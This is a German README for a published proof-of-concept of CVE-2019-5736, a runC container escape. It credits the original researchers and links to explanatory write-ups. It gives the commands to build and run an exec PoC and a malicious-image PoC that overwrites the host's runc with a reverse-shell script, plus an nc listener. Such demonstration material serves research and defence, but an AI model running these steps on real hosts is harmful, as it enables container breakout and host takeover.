
Proof-of-Concept-Exploits für CVE-2019-5736, eine runC-Container-Escape-Schwachstelle, die den Containerausbruch über bösartige Images und exec-Befehle demonstriert.
Video: https://bit.ly/2WqvILb
Blogbeitrag: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
Hier möchte ich erwähnen, dass der ursprüngliche Entwickler dieses Exploits Yuval Avrahami von Twistlock Labs ist.
Beachten Sie, dass das Ausführen der POCs die runC-Binärdatei auf dem Host überschreibt.
Es wird dringend empfohlen, eine Kopie Ihrer runC-Binärdatei (normalerweise unter /usr/sbin/runc) zu erstellen, bevor Sie eines der POCs ausführen.
Klonen Sie das Repository:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
Überschreibt runc mit einem einfachen Programm, das eine Zeichenkette ausgibt.
Ausführen des Exec POC:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
Überschreibt runc mit einem einfachen Reverse-Shell-Bash-Skript, das eine Verbindung zu localhost:2345 herstellt.
Lauschen Sie auf die Reverse-Shell:
$ nc -nvlp 2345
Führen Sie von einer anderen Shell aus das Malicious Image POC aus:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5736") for an explanation of CVE-2019-5736 and the POCs.
The malicious image POC is heavily based on [q3k’s POC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.